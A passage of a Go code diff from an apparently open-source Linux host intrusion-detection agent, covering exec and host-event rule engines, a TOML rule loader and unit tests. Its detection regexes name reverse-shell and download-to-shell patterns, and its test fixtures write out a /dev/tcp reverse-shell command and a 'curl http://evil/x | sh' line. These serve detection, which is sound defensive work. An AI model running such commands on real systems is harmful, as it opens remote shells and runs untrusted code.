conditions["argv_regex"] = rule.ArgvRegex
}
eventTypes := sortedStringKeys(rule.Events)
records = append(records, map[string]any{
"sid": rule.SID, "event": strings.Join(eventTypes, ","), "origin": "builtin",
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "host_rule." + rule.Classtype,
"msg": rule.Message, "conditions": conditions,
})
}
sort.SliceStable(records, func(i, j int) bool {
leftSID, rightSID := records[i]["sid"].(int), records[j]["sid"].(int)
if leftSID != rightSID {
return leftSID < rightSID
}
return records[i]["event"].(string) < records[j]["event"].(string)
})
return records
}
func FindRule(records []map[string]any, sid int) map[string]any {
for _, record := range records {
if record["sid"].(int) == sid {
return record
}
}
return nil
}
func sortedStringKeys(values map[string]bool) []string {
result := make([]string, 0, len(values))
for value := range values {
result = append(result, value)
}
sort.Strings(result)
return result
}
func sortedIntKeys(values map[int]bool) []int {
result := make([]int, 0, len(values))
for value := range values {
result = append(result, value)
}
sort.Ints(result)
return result
}

View file

@ -0,0 +1,33 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"reflect"
"testing"
)
func TestRuleCatalogCoversEveryPortedRule(t *testing.T) {
records := RuleCatalog(DefaultExecRuleEngine())
if len(records) != 21 {
t.Fatalf("got %d rules, want 21", len(records))
}
sids := make([]int, 0, len(records))
for _, record := range records {
sids = append(sids, record["sid"].(int))
}
want := []int{
100001, 100002, 100003, 100004,
100060, 100061, 100062, 100063, 100064, 100065, 100066,
100067, 100068, 100069, 100070, 100071, 100072, 100073,
100076, 100077, 100078,
}
if !reflect.DeepEqual(sids, want) {
t.Fatalf("unexpected catalog SIDs: %#v", sids)
}
capability := FindRule(records, 100077)
conditions := capability["conditions"].(map[string]any)
if _, ok := conditions["capabilities_any"]; !ok {
t.Fatalf("capability conditions missing: %#v", capability)
}
}

View file

@ -0,0 +1,53 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package events implements the event-driven rule layer independently from
// its eventual kernel source. Keeping event records and matching pure makes
// Python/Go parity testable before cilium/ebpf enters the build.
package events
import (
"encoding/json"
"strings"
)
// ExecEvent is one execve observed at execution time. Argv excludes filename,
// matching the Python event model and the current BCC source contract.
type ExecEvent struct {
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
ParentComm string `json:"parent_comm"`
Filename string `json:"filename"`
Argv []string `json:"argv"`
}
// ExecComm intentionally mirrors posixpath.basename rather than filepath.Base:
// Python returns an empty basename for a path ending in '/', while filepath
// cleans the trailing separator and would return the previous component.
func (e ExecEvent) ExecComm() string {
if index := strings.LastIndex(e.Filename, "/"); index >= 0 {
return e.Filename[index+1:]
}
return e.Filename
}
func (e ExecEvent) ArgvString() string {
parts := make([]string, 0, len(e.Argv)+1)
parts = append(parts, e.Filename)
parts = append(parts, e.Argv...)
return strings.TrimSpace(strings.Join(parts, " "))
}
func (e *ExecEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.ParentComm = stringValue(values["parent_comm"])
e.Filename = stringValue(values["filename"])
e.Argv = stringSlice(values["argv"])
return nil
}

View file

@ -0,0 +1,15 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import "testing"
func TestExecEventDerivedFieldsMatchPython(t *testing.T) {
event := ExecEvent{Filename: "/tmp/x", Argv: []string{"-c", "echo hi"}}
if event.ExecComm() != "x" || event.ArgvString() != "/tmp/x -c echo hi" {
t.Fatalf("unexpected derived fields: %q %q", event.ExecComm(), event.ArgvString())
}
if got := (ExecEvent{Filename: "/tmp/x/"}).ExecComm(); got != "" {
t.Fatalf("trailing-slash basename drifted from Python: %q", got)
}
}

View file

@ -0,0 +1,414 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/csv"
"fmt"
"os"
"regexp"
"sort"
"strconv"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
// ExecRule is the Go representation of Python's declarative exec rule. Every
// specified positive condition is ANDed; values inside a condition are ORed.
type ExecRule struct {
SID int
Message string
Severity string
Classtype string
PathPrefixes []string
ExecComms map[string]bool
ParentComms map[string]bool
ArgvRegex string
ParentExclude map[string]bool
compiled *regexp.Regexp
}
func NewExecRule(rule ExecRule) (ExecRule, error) {
if len(rule.PathPrefixes) == 0 && len(rule.ExecComms) == 0 &&
len(rule.ParentComms) == 0 && rule.ArgvRegex == "" {
return ExecRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
}
if rule.Severity == "" {
rule.Severity = "HIGH"
}
if rule.Classtype == "" {
rule.Classtype = "uncategorized"
}
if rule.ArgvRegex != "" {
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
if err != nil {
return ExecRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
}
rule.compiled = compiled
}
return rule, nil
}
func (r ExecRule) Matches(event ExecEvent) bool {
if r.ParentExclude[event.ParentComm] {
return false
}
if len(r.PathPrefixes) > 0 && !hasPrefix(event.Filename, r.PathPrefixes) {
return false
}
if len(r.ExecComms) > 0 && !r.ExecComms[event.ExecComm()] {
return false
}
if len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
return false
}
if r.compiled != nil && !r.compiled.MatchString(event.ArgvString()) {
return false
}
return true
}
func (r ExecRule) Alert(event ExecEvent) model.Alert {
argv := truncateRunes(event.ArgvString(), 120)
return model.Alert{
SID: r.SID,
Severity: r.Severity,
Signature: "exec_rule." + r.Classtype,
Classtype: r.Classtype,
Key: fmt.Sprintf("exec:%d:%d", r.SID, event.PID),
Detail: fmt.Sprintf(
"sid=%d %s — pid=%d ppid=%d parent=%s exec=%s argv=[%s]",
r.SID, r.Message, event.PID, event.PPID, event.ParentComm,
event.Filename, argv),
PIDs: []int{event.PID},
}
}
type ExecRuleEngine struct {
Rules []ExecRule
}
func DefaultExecRuleEngine() ExecRuleEngine {
// Constructors below use only compile-time-valid rules. Panic is preferable
// to silently dropping a shipped detection if a future edit breaks one.
rules := make([]ExecRule, 0, len(defaultExecRuleSpecs))
for _, specification := range defaultExecRuleSpecs {
rule, err := NewExecRule(specification)
if err != nil {
panic(err)
}
rules = append(rules, rule)
}
return ExecRuleEngine{Rules: rules}
}
func LoadExecRuleEngine(path string) (ExecRuleEngine, error) {
engine := DefaultExecRuleEngine()
if path == "" {
return engine, nil
}
if _, err := os.Stat(path); os.IsNotExist(err) {
return engine, nil
} else if err != nil {
return ExecRuleEngine{}, err
}
rules, err := loadTOMLExecRules(path)
if err != nil {
return ExecRuleEngine{}, err
}
engine.Rules = append(engine.Rules, rules...)
return engine, nil
}
func (e ExecRuleEngine) Match(event ExecEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
var interpreters = stringSet(strings.Fields(
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
"nc ncat netcat socat"))
var webDBServers = stringSet(strings.Fields(
"nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy " +
"node nodejs tomcat catalina mysqld mariadbd postgres redis-server"))
var defaultExecRuleSpecs = []ExecRule{
{
SID: 100001, Message: "Program executed from a world-writable directory",
Severity: "CRITICAL", Classtype: "fileless-execution",
PathPrefixes: []string{"/tmp/", "/dev/shm/", "/var/tmp/"},
},
{
SID: 100002, Message: "Reverse-shell command pattern in execve arguments",
Severity: "CRITICAL", Classtype: "c2-reverse-shell",
ArgvRegex: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`,
},
{
SID: 100003,
Message: "Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
Severity: "CRITICAL", Classtype: "web-rce",
ExecComms: interpreters, ParentComms: webDBServers,
},
{
SID: 100004, Message: "Download piped directly to a shell (ingress tool transfer)",
Severity: "HIGH", Classtype: "ingress-tool-transfer",
ArgvRegex: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`,
},
}
type rawExecRule struct {
values map[string]string
}
// loadTOMLExecRules implements the intentionally narrow [[exec_rules]] subset
// consumed by Python. The sidecar stays stdlib-only; multiline string arrays,
// quoted strings, comments, and arbitrary table ordering are supported.
func loadTOMLExecRules(path string) ([]ExecRule, error) {
raw, err := os.ReadFile(path)
if err != nil {
return nil, err
}
tables, err := parseExecRuleTables(string(raw))
if err != nil {
return nil, err
}
rules := make([]ExecRule, 0, len(tables))
for _, table := range tables {
sidText, ok := table.values["sid"]
if !ok {
return nil, fmt.Errorf("exec_rules entry missing sid")
}
sid, err := strconv.Atoi(strings.TrimSpace(sidText))
if err != nil {
return nil, fmt.Errorf("exec_rules sid: %w", err)
}
message, err := optionalString(table.values, "msg", "")
if err != nil {
return nil, err
}
severity, err := optionalString(table.values, "severity", "HIGH")
if err != nil {
return nil, err
}
severity = strings.ToUpper(severity)
if severity != "MEDIUM" && severity != "HIGH" && severity != "CRITICAL" {
severity = "HIGH"
}
classtype, err := optionalString(table.values, "classtype", "uncategorized")
if err != nil {
return nil, err
}
argvRegex, err := optionalString(table.values, "argv_regex", "")
if err != nil {
return nil, err
}
pathPrefixes, err := optionalStringArray(table.values, "path_prefixes")
if err != nil {
return nil, err
}
execComms, err := optionalStringArray(table.values, "exec_comm")
if err != nil {
return nil, err
}
parentComms, err := optionalStringArray(table.values, "parent_comm")
if err != nil {
return nil, err
}
parentExclude, err := optionalStringArray(table.values, "parent_exclude")
if err != nil {
return nil, err
}
rule, err := NewExecRule(ExecRule{
SID: sid, Message: message, Severity: severity, Classtype: classtype,
PathPrefixes: pathPrefixes, ExecComms: stringSet(execComms),
ParentComms: stringSet(parentComms), ArgvRegex: argvRegex,
ParentExclude: stringSet(parentExclude),
})
if err != nil {
return nil, err
}
rules = append(rules, rule)
}
return rules, nil
}
func parseExecRuleTables(text string) ([]rawExecRule, error) {
tables := make([]rawExecRule, 0)
var current *rawExecRule
var assignment strings.Builder
depth := 0
flush := func() error {
if assignment.Len() == 0 || current == nil {
assignment.Reset()
return nil
}
key, value, ok := strings.Cut(assignment.String(), "=")
if !ok {
return fmt.Errorf("invalid exec rule assignment: %q", assignment.String())
}
current.values[strings.TrimSpace(key)] = strings.TrimSpace(value)
assignment.Reset()
return nil
}
for _, rawLine := range strings.Split(text, "\n") {
line := strings.TrimSpace(stripTOMLComment(rawLine))
if line == "" {
continue
}
if line == "[[exec_rules]]" {
if err := flush(); err != nil {
return nil, err
}
tables = append(tables, rawExecRule{values: map[string]string{}})
current = &tables[len(tables)-1]
depth = 0
continue
}
if current == nil {
continue
}
if assignment.Len() > 0 {
assignment.WriteByte(' ')
}
assignment.WriteString(line)
depth += strings.Count(line, "[") - strings.Count(line, "]")
if depth <= 0 {
if err := flush(); err != nil {
return nil, err
}
depth = 0
}
}
if err := flush(); err != nil {
return nil, err
}
return tables, nil
}
func optionalString(values map[string]string, key, fallback string) (string, error) {
raw, ok := values[key]
if !ok {
return fallback, nil
}
value, err := tomlString(raw)
if err != nil {
return "", fmt.Errorf("exec_rules %s: %w", key, err)
}
return value, nil
}
func optionalStringArray(values map[string]string, key string) ([]string, error) {
raw, ok := values[key]
if !ok {
return []string{}, nil
}
raw = strings.TrimSpace(raw)
if len(raw) < 2 || raw[0] != '[' || raw[len(raw)-1] != ']' {
return nil, fmt.Errorf("exec_rules %s: expected string array", key)
}
body := strings.TrimSpace(raw[1 : len(raw)-1])
if body == "" {
return []string{}, nil
}
body = strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(body), ","))
reader := csv.NewReader(strings.NewReader(body))
reader.TrimLeadingSpace = true
fields, err := reader.Read()
if err != nil {
return nil, fmt.Errorf("exec_rules %s: %w", key, err)
}
result := make([]string, 0, len(fields))
for _, field := range fields {
field = strings.TrimSpace(field)
if field == "" {
continue
}
// encoding/csv already removes TOML's ordinary double quotes. Literal
// single-quoted strings are not CSV syntax, so unwrap those explicitly.
if len(field) >= 2 && field[0] == '\'' && field[len(field)-1] == '\'' {
field = field[1 : len(field)-1]
}
result = append(result, field)
}
return result, nil
}
func tomlString(raw string) (string, error) {
raw = strings.TrimSpace(raw)
if len(raw) >= 2 && raw[0] == '\'' && raw[len(raw)-1] == '\'' {
return raw[1 : len(raw)-1], nil
}
value, err := strconv.Unquote(raw)
if err != nil {
return "", fmt.Errorf("expected string, got %q", raw)
}
return value, nil
}
func stripTOMLComment(line string) string {
inBasic, inLiteral, escaped := false, false, false
for index, char := range line {
if escaped {
escaped = false
continue
}
if char == '\\' && inBasic {
escaped = true
continue
}
if char == '"' && !inLiteral {
inBasic = !inBasic
continue
}
if char == '\'' && !inBasic {
inLiteral = !inLiteral
continue
}
if char == '#' && !inBasic && !inLiteral {
return line[:index]
}
}
return line
}
func hasPrefix(value string, prefixes []string) bool {
for _, prefix := range prefixes {
if strings.HasPrefix(value, prefix) {
return true
}
}
return false
}
func stringSet(values []string) map[string]bool {
result := make(map[string]bool, len(values))
for _, value := range values {
result[value] = true
}
return result
}
func truncateRunes(value string, limit int) string {
runes := []rune(value)
if len(runes) <= limit {
return value
}
return string(runes[:limit])
}
// RuleSIDs is kept sorted for operator catalogs and coverage assertions.
func (e ExecRuleEngine) RuleSIDs() []int {
result := make([]int, 0, len(e.Rules))
for _, rule := range e.Rules {
result = append(result, rule.SID)
}
sort.Ints(result)
return result
}

View file

@ -0,0 +1,109 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"os"
"path/filepath"
"reflect"
"testing"
)
func execEvent(filename string, argv []string, parent string) ExecEvent {
return ExecEvent{
PID: 10, PPID: 9, UID: 0, ParentComm: parent,
Filename: filename, Argv: argv,
}
}
func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) {
engine := DefaultExecRuleEngine()
tests := []struct {
event ExecEvent
sid int
}{
{execEvent("/tmp/.x/dropper", nil, "bash"), 100001},
{execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002},
{execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002},
{execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003},
{execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 {
t.Fatalf("benign command matched: %#v", alerts)
}
}
func TestExecAlertContract(t *testing.T) {
event := execEvent("/tmp/x", nil, "bash")
alert := DefaultExecRuleEngine().Match(event)[0]
if alert.SID != 100001 || alert.Severity != "CRITICAL" ||
alert.Signature != "exec_rule.fileless-execution" ||
alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) {
t.Fatalf("unexpected alert: %#v", alert)
}
want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]"
if alert.Detail != want {
t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want)
}
}
func TestExecRuleValidationAndParentExclude(t *testing.T) {
if _, err := NewExecRule(ExecRule{SID: 999}); err == nil {
t.Fatal("conditionless rule was accepted")
}
rule, err := NewExecRule(ExecRule{
SID: 1, Severity: "HIGH", Classtype: "test",
ExecComms: map[string]bool{"bash": true},
ParentExclude: map[string]bool{"sshd": true},
})
if err != nil {
t.Fatal(err)
}
if !rule.Matches(execEvent("/bin/bash", nil, "cron")) ||
rule.Matches(execEvent("/bin/bash", nil, "sshd")) {
t.Fatal("parent exclusion semantics drifted")
}
}
func TestLoadConfiguredExecRules(t *testing.T) {
path := filepath.Join(t.TempDir(), "rules.toml")
raw := []byte(`
[[exec_rules]]
sid = 190001
msg = "Custom interpreter rule"
severity = "critical"
classtype = "custom-exec"
exec_comm = [
"bash",
"zsh",
]
parent_comm = ["cron"]
parent_exclude = ["sshd"]
argv_regex = 'danger\s+now'
`)
if err := os.WriteFile(path, raw, 0o600); err != nil {
t.Fatal(err)
}
engine, err := LoadExecRuleEngine(path)
if err != nil {
t.Fatal(err)
}
if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) {
t.Fatalf("unexpected rule catalog: %#v", got)
}
alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron"))
if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" {
t.Fatalf("configured rule mismatch: %#v", alerts)
}
}

View file

@ -0,0 +1,139 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/json"
"fmt"
"strconv"
"strings"
)
// HostEvent is the common typed record for network, filesystem, identity,
// capability, and module activity that is neither exec nor raw syscall data.
type HostEvent struct {
Event string `json:"event"`
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
Comm string `json:"comm"`
ParentComm string `json:"parent_comm"`
Path string `json:"path"`
Argv []string `json:"argv"`
PeerIP string `json:"peer_ip"`
PeerPort int `json:"peer_port"`
LocalIP string `json:"local_ip"`
LocalPort int `json:"local_port"`
TargetUID int `json:"target_uid"`
TargetGID int `json:"target_gid"`
Mode int `json:"mode"`
Capabilities []string `json:"capabilities"`
ModuleName string `json:"module_name"`
}
func (e HostEvent) ArgvString() string {
parts := make([]string, 0, len(e.Argv)+1)
parts = append(parts, e.Path)
parts = append(parts, e.Argv...)
return strings.TrimSpace(strings.Join(parts, " "))
}
// UnmarshalJSON accepts the same compatibility aliases as Python ruleops:
// type/event, remote/bind endpoint names, numeric strings, singular capability,
// and module name. Defaults of -1 for absent target IDs are semantically
// significant because zero means a requested root transition.
func (e *HostEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.TargetUID, e.TargetGID = -1, -1
e.Event = stringValue(firstValue(values, "event", "type"))
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.Comm = stringValue(values["comm"])
e.ParentComm = stringValue(values["parent_comm"])
e.Path = stringValue(values["path"])
e.Argv = stringSlice(values["argv"])
e.PeerIP = stringValue(firstValue(values, "peer_ip", "remote_ip"))
e.PeerPort = integerValue(firstValue(values, "peer_port", "remote_port"), 0)
e.LocalIP = stringValue(firstValue(values, "local_ip", "bind_ip", "listen_ip"))
e.LocalPort = integerValue(firstValue(values, "local_port", "bind_port", "listen_port"), 0)
e.TargetUID = integerValue(firstValue(values, "target_uid", "uid_target"), -1)
e.TargetGID = integerValue(firstValue(values, "target_gid", "gid_target"), -1)
e.Mode = integerValue(values["mode"], 0)
e.Capabilities = stringSlice(firstValue(values, "capabilities", "caps", "cap_effective"))
if len(e.Capabilities) == 0 {
if capability := stringValue(values["capability"]); capability != "" {
e.Capabilities = []string{capability}
}
}
for index := range e.Capabilities {
e.Capabilities[index] = strings.ToUpper(e.Capabilities[index])
}
e.ModuleName = stringValue(firstValue(values, "module_name", "name"))
return nil
}
func firstValue(values map[string]any, keys ...string) any {
for _, key := range keys {
if value, ok := values[key]; ok && value != nil && stringValue(value) != "" {
return value
}
}
return nil
}
func stringValue(value any) string {
if value == nil {
return ""
}
if text, ok := value.(string); ok {
return text
}
return fmt.Sprint(value)
}
func integerValue(value any, fallback int) int {
if value == nil {
return fallback
}
switch typed := value.(type) {
case float64:
return int(typed)
case int:
return typed
case string:
text := strings.TrimSpace(strings.ToLower(typed))
if strings.HasPrefix(text, "0o") {
parsed, err := strconv.ParseInt(text[2:], 8, 64)
if err == nil {
return int(parsed)
}
}
parsed, err := strconv.ParseInt(text, 0, 64)
if err == nil {
return int(parsed)
}
}
return fallback
}
func stringSlice(value any) []string {
if text, ok := value.(string); ok {
if text == "" {
return []string{}
}
return []string{text}
}
items, ok := value.([]any)
if !ok {
return []string{}
}
result := make([]string, 0, len(items))
for _, item := range items {
result = append(result, stringValue(item))
}
return result
}

View file

@ -0,0 +1,201 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"fmt"
"regexp"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
)
type HostRule struct {
SID int
Message string
Severity string
Classtype string
Events map[string]bool
Comms map[string]bool
ParentComms map[string]bool
PeerPublic *bool
PeerPorts map[int]bool
PeerPortExclude map[int]bool
LocalPorts map[int]bool
LocalPortExclude map[int]bool
PathPrefixes []string
TargetUIDs map[int]bool
TargetGIDs map[int]bool
CapabilitiesAny map[string]bool
ModuleNames map[string]bool
ArgvRegex string
compiled *regexp.Regexp
}
func NewHostRule(rule HostRule) (HostRule, error) {
if len(rule.Events) == 0 {
return HostRule{}, fmt.Errorf("rule sid=%d has no event types", rule.SID)
}
if len(rule.Comms) == 0 && len(rule.ParentComms) == 0 && rule.PeerPublic == nil &&
len(rule.PeerPorts) == 0 && len(rule.PeerPortExclude) == 0 &&
len(rule.LocalPorts) == 0 && len(rule.LocalPortExclude) == 0 &&
len(rule.PathPrefixes) == 0 && len(rule.TargetUIDs) == 0 &&
len(rule.TargetGIDs) == 0 && len(rule.CapabilitiesAny) == 0 &&
len(rule.ModuleNames) == 0 && rule.ArgvRegex == "" {
return HostRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
}
if rule.ArgvRegex != "" {
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
if err != nil {
return HostRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
}
rule.compiled = compiled
}
return rule, nil
}
func (r HostRule) Matches(event HostEvent) bool {
if !r.Events[event.Event] || len(r.Comms) > 0 && !r.Comms[event.Comm] ||
len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
return false
}
if r.PeerPublic != nil && netutil.IsPublicIP(event.PeerIP) != *r.PeerPublic {
return false
}
if len(r.PeerPorts) > 0 && !r.PeerPorts[event.PeerPort] ||
r.PeerPortExclude[event.PeerPort] ||
len(r.LocalPorts) > 0 && !r.LocalPorts[event.LocalPort] ||
r.LocalPortExclude[event.LocalPort] {
return false
}
if len(r.PathPrefixes) > 0 && !pathMatches(event.Path, r.PathPrefixes) {
return false
}
if len(r.TargetUIDs) > 0 && !r.TargetUIDs[event.TargetUID] ||
len(r.TargetGIDs) > 0 && !r.TargetGIDs[event.TargetGID] ||
len(r.ModuleNames) > 0 && !r.ModuleNames[event.ModuleName] {
return false
}
if len(r.CapabilitiesAny) > 0 {
matched := false
for _, capability := range event.Capabilities {
if r.CapabilitiesAny[strings.ToUpper(capability)] {
matched = true
break
}
}
if !matched {
return false
}
}
return r.compiled == nil || r.compiled.MatchString(event.ArgvString())
}
func (r HostRule) Alert(event HostEvent) model.Alert {
capabilities := strings.Join(event.Capabilities, ",")
mode := "-"
if event.Mode != 0 {
mode = fmt.Sprintf("0o%o", event.Mode)
}
module := event.ModuleName
if module == "" {
module = "-"
}
displayCaps := capabilities
if displayCaps == "" {
displayCaps = "-"
}
return model.Alert{
SID: r.SID, Severity: r.Severity,
Signature: "host_rule." + r.Classtype, Classtype: r.Classtype,
Key: fmt.Sprintf(
"host:%d:%s:%d:%s:%d:%s:%d:%s:%d:%d:%d:%s:%s",
r.SID, event.Event, event.PID, event.PeerIP, event.PeerPort,
event.LocalIP, event.LocalPort, event.Path, event.TargetUID,
event.TargetGID, event.Mode, capabilities, event.ModuleName),
Detail: fmt.Sprintf(
"sid=%d %s - pid=%d ppid=%d comm=%s event=%s peer=%s:%d local=%s:%d path=%s target_uid=%d target_gid=%d mode=%s capabilities=%s module=%s",
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Event,
event.PeerIP, event.PeerPort, event.LocalIP, event.LocalPort,
event.Path, event.TargetUID, event.TargetGID, mode, displayCaps, module),
PIDs: []int{event.PID},
}
}
type HostRuleEngine struct{ Rules []HostRule }
func DefaultHostRuleEngine() HostRuleEngine {
public := true
specifications := []HostRule{
{SID: 100067, Message: "Interpreter connected to an unusual public port", Severity: "HIGH", Classtype: "suspicious-egress", Events: stringSet([]string{"tcp_connect"}), Comms: hostInterpreters, PeerPublic: &public, PeerPortExclude: commonPublicPorts},
{SID: 100068, Message: "Interpreter opened a listener on an unusual local port", Severity: "HIGH", Classtype: "suspicious-listener", Events: stringSet([]string{"listen"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
{SID: 100073, Message: "Interpreter bound an unusual local port", Severity: "HIGH", Classtype: "suspicious-bind", Events: stringSet([]string{"bind"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
{SID: 100069, Message: "Interpreter wrote to a persistence path", Severity: "HIGH", Classtype: "persistence-write", Events: stringSet([]string{"file_write"}), Comms: hostInterpreters, PathPrefixes: persistencePrefixes},
{SID: 100070, Message: "Permissions or ownership changed on a persistence path", Severity: "HIGH", Classtype: "persistence-permission-change", Events: stringSet([]string{"chmod", "chown"}), PathPrefixes: persistencePrefixes},
{SID: 100071, Message: "Interpreter requested a root UID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setuid"}), Comms: hostInterpreters, TargetUIDs: intSet([]int{0})},
{SID: 100072, Message: "Interpreter requested a root GID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setgid"}), Comms: hostInterpreters, TargetGIDs: intSet([]int{0})},
{SID: 100076, Message: "Interpreter accepted inbound traffic on an unusual local port", Severity: "HIGH", Classtype: "suspicious-accept", Events: stringSet([]string{"accept"}), Comms: hostInterpreters, PeerPublic: &public, LocalPortExclude: commonPublicPorts},
{SID: 100077, Message: "Interpreter requested sensitive Linux capabilities", Severity: "HIGH", Classtype: "capability-escalation", Events: stringSet([]string{"capset"}), Comms: hostInterpreters, CapabilitiesAny: sensitiveCapabilities},
{SID: 100078, Message: "Kernel module load requested from a writable runtime path", Severity: "CRITICAL", Classtype: "suspicious-module-load", Events: stringSet([]string{"module_load"}), PathPrefixes: writableRuntimePrefixes},
}
rules := make([]HostRule, 0, len(specifications))
for _, specification := range specifications {
rule, err := NewHostRule(specification)
if err != nil {
panic(err)
}
rules = append(rules, rule)
}
return HostRuleEngine{Rules: rules}
}
func (e HostRuleEngine) Match(event HostEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
var hostInterpreterNames = strings.Fields(
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
"node nodejs nc ncat netcat socat curl wget fetch")
var hostInterpreters = stringSet(hostInterpreterNames)
// HostInterpreterComms returns the process names used by typed host rules.
// Kernel sources use the same list for in-BPF prefiltering.
func HostInterpreterComms() []string {
return append([]string(nil), hostInterpreterNames...)
}
var commonPublicPorts = intSet([]int{22, 53, 80, 123, 443, 853})
var persistencePrefixes = []string{
"/etc/cron.d/", "/etc/crontab", "/etc/systemd/system/",
"/etc/ld.so.preload", "/root/.ssh/authorized_keys",
"/etc/sudoers", "/etc/sudoers.d/",
}
var writableRuntimePrefixes = []string{"/tmp/", "/var/tmp/", "/dev/shm/", "/run/user/"}
var sensitiveCapabilities = stringSet([]string{
"CAP_SYS_ADMIN", "CAP_SYS_MODULE", "CAP_SYS_PTRACE",
"CAP_DAC_READ_SEARCH", "CAP_NET_ADMIN", "CAP_NET_RAW",
})
func intSet(values []int) map[int]bool {
result := make(map[int]bool, len(values))
for _, value := range values {
result[value] = true
}
return result
}
func pathMatches(path string, prefixes []string) bool {
for _, prefix := range prefixes {
if path == prefix || strings.HasPrefix(path, prefix) {
return true
}
}
return false
}

View file

@ -0,0 +1,90 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/json"
"strings"
"testing"
)
func TestHostEventCompatibilityAliases(t *testing.T) {
var event HostEvent
raw := []byte(`{"type":"accept","pid":"42","remote_ip":"8.8.8.8","remote_port":"51515","bind_ip":"0.0.0.0","bind_port":"4444","target_uid":"0","mode":"0o777","capability":"cap_sys_admin","name":"evil"}`)
if err := json.Unmarshal(raw, &event); err != nil {
t.Fatal(err)
}
if event.Event != "accept" || event.PID != 42 || event.PeerIP != "8.8.8.8" ||
event.PeerPort != 51515 || event.LocalPort != 4444 || event.TargetUID != 0 ||
event.TargetGID != -1 || event.Mode != 0o777 || event.Capabilities[0] != "CAP_SYS_ADMIN" ||
event.ModuleName != "evil" {
t.Fatalf("compatibility decode drifted: %#v", event)
}
}
func TestDefaultHostRulesMatchAllBuiltins(t *testing.T) {
engine := DefaultHostRuleEngine()
tests := []struct {
event HostEvent
sid int
}{
{HostEvent{Event: "tcp_connect", PID: 1, Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 4444, TargetUID: -1, TargetGID: -1}, 100067},
{HostEvent{Event: "listen", PID: 2, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100068},
{HostEvent{Event: "bind", PID: 3, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100073},
{HostEvent{Event: "file_write", PID: 4, Comm: "python3", Path: "/etc/systemd/system/evil.service", TargetUID: -1, TargetGID: -1}, 100069},
{HostEvent{Event: "chmod", PID: 5, Comm: "chmod", Path: "/etc/cron.d/evil", Mode: 0o777, TargetUID: -1, TargetGID: -1}, 100070},
